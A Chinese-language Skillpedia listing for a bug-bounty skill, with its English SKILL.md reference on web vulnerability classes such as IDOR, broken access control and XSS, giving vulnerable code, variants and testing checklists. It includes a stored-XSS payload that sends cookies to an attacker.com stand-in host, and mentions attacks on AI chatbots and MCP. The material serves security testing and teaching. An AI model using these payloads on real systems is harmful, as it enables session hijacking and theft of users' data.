跳到正文
Skillpedia
安全5.5k · #14797

web2-vuln-classes

它能做什么

这项技能是供测试 Web 应用的智能体使用的参考指南。它解释了 IDOR、SSRF、XSS 和 SQL 注入等常见缺陷如何产生,以及如何识别它们。

适用场景

  • ✓当测试人员想了解 IDOR 或 SSRF 等常见 Web 缺陷如何运作的时候。
  • ✓当测试人员需要某类特定缺陷的检测模式或绕过思路的时候。
  • ✓当测试人员想把某项发现与已知的根本原因进行对照的时候。

技能链接

https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/web2-vuln-classes/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/awarexone/Agentic-Bug-Hunter/blob/main/skills/web2-vuln-classes/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请解释如何测试这个应用的 IDOR 漏洞,包括常见的根本原因以及应该注意什么。”

每周 5 个新技能,1 分钟读完。

工作原理

智能体会在参考中找到对应类别,然后利用其根本原因、检测模式和绕过表来规划测试。需要登录的类别会被标注,访问检查则建议使用两个会话。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

WEB2 BUG CLASSES — 26 Classes

Root cause, pattern, bypass table, chaining opportunity, real paid examples.

Auth-required classes (🔐): the ones below need at least one logged-in session loaded into the hunt to be testable. Use hunt.py --auth-file .private/T.json or --cookie/--bearer flags — every recon/scan tool then inherits the headers automatically. For IDOR/BOLA/priv-esc, load two sessions (low- and high-priv) and diff. See docs/auth-sessions.md.

🔐 IDOR · Broken Auth/Access Control · Mass Assignment · OAuth/OIDC · JWT · GraphQL field-level auth · LLM/AI chatbot IDOR · MFA (rate-limit + response manipulation tests) · ATO chains · SSRF behind login

The MFA workflow-skip and SAML signature-stripping probes intentionally stay unauthenticated even when a session is loaded — that's the attack premise.


1. IDOR — INSECURE DIRECT OBJECT REFERENCE 🔐

#1 most paid web2 class — 30% of all submissions that get paid. Needs two sessions (A=attacker, B=victim) — load both via --auth-file and diff audit-log session_id hashes to confirm cross-tenant access.

Root Cause

# VULNERABLE — no ownership check
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ?", order_id)
    return jsonify(order)  # Never checks if order belongs to current user!

# SECURE
@app.route('/api/orders/<order_id>')
def get_order(order_id):
    order = db.query("SELECT * FROM orders WHERE id = ? AND user_id = ?",
                     order_id, current_user.id)

Variants

  • V1: Numeric ID swap — /api/user/123/profile → change to 124
  • V2: UUID swap — enumerate UUID via email invite or other endpoint
  • V3: Indirect IDOR — POST /api/export?report_id=456 exports another user's report
  • V4: Parameter add — ?user_id=other makes backend use it
  • V5: HTTP method swap — PUT protected, DELETE not
  • V6: Old API version — /v1/users/123 lacks auth that /v2/ has
  • V7: GraphQL node — { node(id: "base64(User:456)") { email } }
  • V8: WebSocket — WS sends {"action":"get_history","userId":"client-generated-UUID"}

Testing Checklist

[ ] Two accounts (A=attacker, B=victim)
[ ] Log in as A, perform all actions, note all IDs
[ ] Replay A's requests with A's token but B's IDs
[ ] Test EVERY HTTP method (GET, PUT, DELETE, PATCH)
[ ] Check API v1 vs v2
[ ] Check GraphQL node() queries
[ ] Check WebSocket messages for client-supplied IDs

IDOR Chain Escalation

  • IDOR + Read PII = Medium
  • IDOR + Write (modify other's data) = High
  • IDOR + Admin endpoint = Critical (privilege escalation)
  • IDOR + Account takeover path = Critical
  • IDOR + Chatbot reads other user's data = High

2. BROKEN AUTH / ACCESS CONTROL 🔐

#2 most paid class. The sibling function rule: if 9 endpoints have auth, the 10th that doesn't is your bug. Needs auth loaded — you're testing which sibling routes a logged-in user can reach that shouldn't be reachable. Compare authed responses against the same paths hit anonymously.

The Sibling Rule

/api/admin/users  → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset  → often MISSING it

Patterns

// Missing middleware on sibling
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport);  // No middleware!

// Client-side role check only
if (user.role === 'admin') showAdminButton();
// Backend: app.post('/api/admin/delete', deleteUser); // no server check!

Real Paid Examples

  • HackerOne TrustHub: POST /graphql with TrustHubQuery — no auth, regular user reads all vendors (CVSS 8.7 High)
  • Vienna Chatbot: WebSocket get_history accepts arbitrary UUID — no ownership check (P2)

3. XSS — CROSS-SITE SCRIPTING

Stored XSS (highest impact)

Input: "<script>document.location='https://attacker.com/c?c='+document.cookie</script>"
Any user viewing page executes attacker JS → cookie theft → session hijack

DOM XSS Sinks (grep for these)

innerHTML = userInput           // HIGH RISK
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...)      // string form
element.src = userInput         // JavaScript URI possible
location.href = userInput

postMessage is a DOM XSS source — same sinks above (innerHTML, eval

常见问题

涵盖了多少个类别?

这项技能涵盖 26 类 Web 漏洞,包括 IDOR、SSRF、XSS、SQL 注入和文件上传等。

为什么要使用两个会话?

这项技能建议分别加载低权限和高权限会话,以比较其访问权限。

它包含 AI 风险吗?

包含。它包含映射到 ASI 类别的 LLM 和 AI 风险。

详情

作者的原始描述

Complete reference for 26 web2 bug classes with root causes, detection patterns, bypass tables, exploit techniques, and real paid examples. Covers IDOR, auth bypass, XSS (postMessage), SSRF (11 IP bypass techniques), SQLi, business logic, race conditions, OAuth/OIDC, file upload (10 bypass techniques), GraphQL, LLM/AI (ASI01-ASI10, MCP/RAG attacks), API misconfig (mass assignment, JWT, prototype pollution, CORS), ATO (9 paths), SSTI, subdomain takeover, cloud misconfig, HTTP smuggling, cache poisoning, MFA bypass (7 patterns), SAML attacks, error disclosure, CSS injection, LFI/RCE, insecure de

repo: awarexone/Agentic-Bug-Hunter

热度

GitHub 星标
5.5k
排名
#14797
许可证
MIT
更新时间
2026/10/28

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能